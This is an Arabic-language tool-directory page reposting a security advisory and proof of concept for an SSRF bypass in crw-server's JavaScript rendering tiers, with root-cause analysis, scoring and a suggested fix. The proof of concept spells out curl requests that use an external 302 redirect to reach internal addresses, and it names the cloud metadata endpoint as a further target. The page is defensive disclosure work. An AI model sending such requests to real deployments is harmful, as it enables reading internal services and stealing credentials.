Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
crw-PoC — PoC — SSRF عبر تجاوز طبقة عرض JS لمرشح أمان URL في crw ‏(GHSA-5jp3-339h-vxqw، CVE-2026-87007، CVSS 7.5). | Kitploit
أدوات/GitHubGitHub/squeeze440/crw-poc
تحليل الثغرات الأمنيةالاستغلالأمن الويباختبار الاختراق
GitHubsqueeze440/crw-poc

crw-PoC

PoC — SSRF عبر تجاوز طبقة عرض JS لمرشح أمان URL في crw ‏(GHSA-5jp3-339h-vxqw، CVE-2026-87007، CVSS 7.5).

عرض المستودع
منذ 7 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

crw: استشارة أمنية

حالة CVE: مطلوبة، في انتظار التعيين. تم نشر هذا الاكتشاف باسم GHSA-5jp3-339h-vxqw. عند تعيين CVE، يُعاد تسمية هذا المستودع إلى CVE-YYYY-NNNNN-crw-PoC وتُستبدل هذه اللافتة برابط CVE.

الباحثDostxodjayev Abdullox (@squeeze440)
الاستشارةGHSA-5jp3-339h-vxqw
CVSS 3.17.5 (مرتفع)
الضعفCWE-918

الملخص

في crw-server، يتم فرض قائمة السماح/المنع الخاصة بـ SSRF (crw_core::url_safety) مرة واحدة فقط، مقابل url المقدَّم من المستدعي، قبل إرسال الطلب إلى المُصيّر؛ ثم تقوم طبقات تصيير JavaScript المدفوعة بـ CDP (LightPanda — مُصيّر JS الافتراضي — وChrome) بتوجيه الصفحة الهدف عبر Page.navigate وتتبع كل إعادة توجيه لاحقة، وتنقّل مُفعَّل بـ JS، وXHR/fetch داخل الصفحة بالكامل داخل مكدس الشبكة الخاص بالمتصفح نفسه، دون أي استدعاء إضافي لـ url_safety في أي نقطة، مما يسمح لمستدعٍ مُصادَق عليه (أو، في نشر افتراضي بدون مفتاح، غير مُصادَق عليه) يضبط renderJs:true بتحويل الزاحف إلى نطاق عناوين RFC1918/loopback/link-local عبر إعادة توجيه خارجية مفتوحة واحدة وقراءة استجابة الخدمة الداخلية في جسم استجابة API.

المنتج

fastCRW / crw — crw-server (واجهة REST API، يمكن الوصول إليها بشكل مماثل عبر طبقة أدوات MCP داخل العملية crw-mcp، التي تستدعي نفس مسار الكود crw_server::routes::mcp::call_tool).

الإصدار المُختبَر

Commit 9f1e5ea5555bbf29cd41e454902be0cd804a15e4 (v0.28.0، رأس main وقت الاختبار)، مبني ومُشغَّل عبر docker-compose.yml --profile heavy الخاص بالمشروع.

CVSS v3.1 المُقدَّر

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N — 7.5 (مرتفع)

  • PR:N: الإعداد الافتراضي للاستضافة الذاتية المُشحون (config.docker.toml) لا يحتوي على قسم [auth]/api_keys، بما يطابق الافتراضي "مفتوح بالتصميم" الموثَّق بالفعل في GHSA-qq8c-fch4-cxq7. النشر الذي يضبط مفاتيح API يخفّض هذا إلى PR:L (أي مستأجر مُصادَق عليه واحد لا يزال بإمكانه تحويل المحرك المشترك إلى أي شبكة داخلية يعمل عليها) — الخطأ لا يُخفَّف بإضافة مفاتيح، بل يُعاد تقييده فقط.
  • I:N/A:N: يُظهر PoC قراءة استجابة HTTP داخلية (السرية). لم يُنفَّذ أو يُدَّعى أي إجراء كتابة/تغيير حالة ضد هدف داخلي.
  • S:U: الكشف يتم بالكامل عبر قناة استجابة API الخاصة بالمكوّن المُعرَّض نفسه.

التفاصيل

السبب الجذري: مسار مُصيّر CDP/المتصفح لا يستدعي crw_core::url_safety أبدًا بعد الفحص الواحد الذي يتم في طبقة المسار.

  • crates/crw-server/src/routes/scrape.rs:29-34 (بشكل مماثل في crawl.rs:47/136، map.rs:73/58، extract.rs:178/95، batch.rs:111/102، v2/*، routes/mcp.rs:25) — فحص SSRF الوحيد في دورة حياة الطلب بأكملها لطلب مُصيَّر بـ JS: يعمل crw_core::url_safety::validate_safe_url_resolved(&parsed_url) مرة واحدة مقابل url الحرفي للمستدعي، قبل استدعاء المُصيّر أبدًا.
  • crates/crw-renderer/src/cdp.rs:2621-2631 — مستقبل work في fetch_inner يرسل Page.navigate مع url الخام مباشرة إلى نقطة نهاية CDP (مشتركة بين طبقتي chrome وlightpanda — كلاهما يتحدث CDP عبر هذه الدالة نفسها). ثم يقوم Chrome/LightPanda بإجراء تحليل DNS الخاص به ويتتبع أي إعادة توجيه من جانب الخادم، أو <meta http-equiv="refresh">، أو تغيير location بـ JS داخليًا. لا يوجد أي استدعاء لـ url_safety في أي مكان في cdp.rs.
  • crates/crw-renderer/src/blocklist.rs:1-124 — منطق اعتراض Fetch.requestPaused الوحيد لكل طلب الذي يعمل أثناء تصيير CDP (موصول في cdp.rs حول الأسطر 930-1002). يقوم بتصفية مضيفي الإعلانات/المتتبعات وأنواع الموارد المحظورة (الصور، الخطوط، إلخ) لأسباب النطاق الترددي/الضجيج فقط — لا يتحقق أبدًا من وجهة الطلب مقابل نطاقات private/loopback/link-local.
  • crates/crw-crawl/src/single.rs:559-569 — المكان الوحيد الذي يتم فيه فحص final_url بعد التنقل على الإطلاق. يقرر redirect_is_material() فقط ما إذا كان سيُرفق سلسلة تجميلية "redirected_to: <url>" بـ data.warnings (لتمييز "لقد حصلت على الصفحة الخطأ"، وفقًا للتعليق الذي يشير إلى northernair.ca) — لا يستدعي أبدًا url_safety::validate_safe_url* ولا يُفشل الطلب أبدًا.
  • للمقارنة: crates/crw-renderer/src/http_only.rs:291 — طبقة HTTP العادية (غير JS) تُغلّف reqwest::Client الخاص بها بشكل صحيح في crw_core::url_safety::safe_redirect_policy()، الذي يعيد التحقق (مع تحليل DNS) من كل قفزة إعادة توجيه. هذه بالضبط الحماية المفقودة من طبقات CDP. تم التأكيد ديناميكيًا: نفس طلب PoC مع renderJs:false يُرفض بشكل صحيح ("error following redirect"، انظر لقطة الشاشة الأساسية).

إثبات المفهوم

تم التأكيد ديناميكيًا مقابل مكدس docker-compose.yml --profile heavy الخاص بالمشروع (crw + lightpanda + chrome، مبني من الـ commit المُختبَر).

  1. تم إعداد بديل "خدمة داخلية" على نفس شبكة جسر Docker مثل crw/chrome/lightpanda (docker network: source_default)، على العنوان الخاص 172.19.0.6 — حاوية nginx عادية تخدم صفحة بمحتوى يبدو داخليًا واقعيًا (العنوان "Internal Ops Console"، قيمة على شكل رمز جلسة).
  2. الأساس — تأكيد أن الفلتر يعمل بشكل طبيعي:
    root@kitploit:~
    curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
      -d '{"url":"http://172.19.0.6/","renderJs":false}'
    → {"success":false,"error":"Invalid request: Access to 172.19.0.6 is not allowed", ...}
    
    curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
      -d '{"url":"https://httpbin.org/redirect-to?url=http://172.19.0.6/&status_code=302","renderJs":false}'
    → {"success":false,"error":"HTTP request failed: error following redirect ...", ...}
    
    (لقطة شاشة: evidence/ssrf_baseline_blocked.png)
  3. التجاوز — نفس إعادة التوجيه، مع طلب طبقة تصيير JS:
    root@kitploit:~
    curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
      -d '{"url":"https://httpbin.org/redirect-to?url=http://172.19.0.6/&status_code=302","renderJs":true,"renderer":"chrome","formats":["markdown"]}'
    
    النتيجة: HTTP 200، "success":true، "data":{"markdown":"# Internal Ops Console\n\n# internal-ops.crw-lab.local\n\nNode role: primary\n\nBuild: 2026.08.02-rc3\n\nSession token: 8f3d1c9a7e2b4460b9e5d6a1c0f7e3d2", ..., "warnings":["redirected_to: http://172.19.0.6/"], "renderDecision":{"kind":"userPinned","renderer":"chrome"}} — محتوى الخادم الداخلي يُعاد إلى المستدعي؛ تحذير redirected_to الخاص بالأداة يُظهر أنها تعلم أنها تتبعت الطلب إلى العنوان المحظور وتعيد المحتوى على أي حال. (لقطة شاشة: evidence/ssrf_chrome_tier_bypass.png)
  4. تم التأكيد أن التجاوز يحدث أيضًا على سلسلة الاحتياط الافتراضية بدون تثبيت مُصيّر صريح ("renderJs":true وحده — الطريقة العادية التي يطلب بها المستدعي تصيير JS): اختار السلم lightpanda ("renderDecision":{"kind":"autoDefault","chosen":"lightpanda"}، "renderedWith":"lightpanda") وأعاد نفس المحتوى الداخلي، مما يثبت أن كلا طبقتي CDP (وليس chrome فقط) تشتركان في الثغرة.

https://httpbin.org/redirect-to يمثل "أي URL يمكن الوصول إليه خارجيًا يعيد 302"؛ سيقوم مهاجم حقيقي باستضافته على نطاقه الخاص. 172.19.0.6 يمثل أي عنوان في النطاقات التي صُمم url_safety لحظرها (RFC1918، loopback، link-local/169.254.169.254 بيانات وصفية سحابية، .internal) — يحدث التجاوز قبل تشغيل أي فحص نطاق (مسار CDP لا يستدعي url_safety على الإطلاق)، لذا فهو ليس خاصًا بهذا النطاق المحظور الواحد. لم تكن نقطة نهاية بيانات وصفية سحابية حية متاحة في هذا المختبر المحلي، لذا لم يُنفَّذ ذلك الهدف المحدد مباشرة؛ إنه استقراء مباشر متتبع بالكود، وليس ادعاءً غير مُختبَر.

التأثير

أي مستدعٍ قادر على الوصول إلى /v1/scrape، /v2/scrape، /v1/crawl، /v1/map، /v1/extract، مكافئاتها batch/v2، أو أدوات MCP المكافئة — مع renderJs:true — يمكنه استخدام نشر crw الهدف كوسيط شبكة داخلية مفتوح: قراءة الاستجابات من خدمات loopback الخاصة بالناشر، والخدمات الداخلية ذات عناوين RFC1918 (قواعد البيانات، لوحات الإدارة، واجهات API الداخلية)، و— في أي نشر مستضاف سحابيًا — نقطة نهاية البيانات الوصفية السحابية للنسخة (169.254.169.254)، مما قد يستعيد بيانات اعتماد IAM/النسخة. في الإعداد الافتراضي للاستضافة الذاتية المُشحون (بدون مفاتيح API مُهيأة) لا يتطلب هذا أي مصادقة على الإطلاق.

نقاط الضعف

  • CWE-918: تزوير الطلب من جانب الخادم (SSRF)
  • CWE-441: وسيط أو وسيط غير مقصود ('Confused Deputy')

المعالجة

مضخة اعتراض Fetch.requestPaused الموصولة بالفعل بطبقات CDP (crates/crw-renderer/src/cdp.rs، مدفوعة بـ Blocklist في blocklist.rs) هي نقطة الخنق الطبيعية: وسّعها (أو أضف فحصًا شقيقًا يُستدعى من نفس المضخة، لكل من خلفيتي chrome وlightpanda) لاستدعاء crw_core::url_safety::validate_safe_url مقابل URL كل طلب معترض — يغطي التنقل الأولي، وكل قفزة إعادة توجيه، وكل تنقل مدفوع بـ JS، وكل تحميل XHR/fetch/iframe في نفس الصفحة — وFetch.failRequest أي شيء يُحل إلى مضيف محظور، بما يطابق ما يفعله safe_redirect_policy() بالفعل لطبقة http_only. لاحظ أن هذا يعني أن Fetch.enable/الاعتراض لم يعد بإمكانه البقاء مُعطَّلًا شرطيًا عندما تعتمد حماية SSRF على تشغيله. كدفاع في العمق، حوّل أيضًا فحص final_url الموجود بعد التنقل في crates/crw-crawl/src/single.rs:559-569 من إدخال warnings تجميلي إلى فشل صارم عبر url_safety::validate_safe_url_resolved، لالتقاط أي شيء يتسلل عبر الاعتراض (مثلًا استجابة أولى جدًا تتسابق مع إعداد Fetch.enable).

الفضل

Dostxodjayev Abdullox

قناة الإبلاغ

.github/SECURITY.md (المعروض على https://github.com/us/crw/security): الإبلاغ الخاص عن الثغرات في GitHub هو القناة المفضلة ("افتح تقريرًا من علامة تبويب Security في هذا المستودع")، مع [email protected] كبديل بالبريد الإلكتروني. تم التأكيد أنه حي ومفتوح فعليًا لهذا المستودع: gh api repos/us/crw/private-vulnerability-reporting --jq .enabled → true، ولوحظ زر "Report a vulnerability" حي على https://github.com/us/crw/security (يربط بـ https://github.com/us/crw/security/advisories/new). يتضمن بيان النطاق في تلك الصفحة صراحةً "الملف التنفيذي crw-server وجميع حزم مساحة العمل في هذا المستودع" و"خادم MCP (crw-mcp)"؛ ويستثني "المتصفحات بلا واجهة من طرف ثالث (Chromium، Lightpanda) التي يستدعيها المُصيّر" — هذا الاكتشاف يتعلق بالتحقق المفقود من جانب crw نفسه حول استدعاء تنقل CDP، وليس خطأً في Chromium/Lightpanda نفسه، لذا فهو ضمن النطاق.

تنزيل الأداة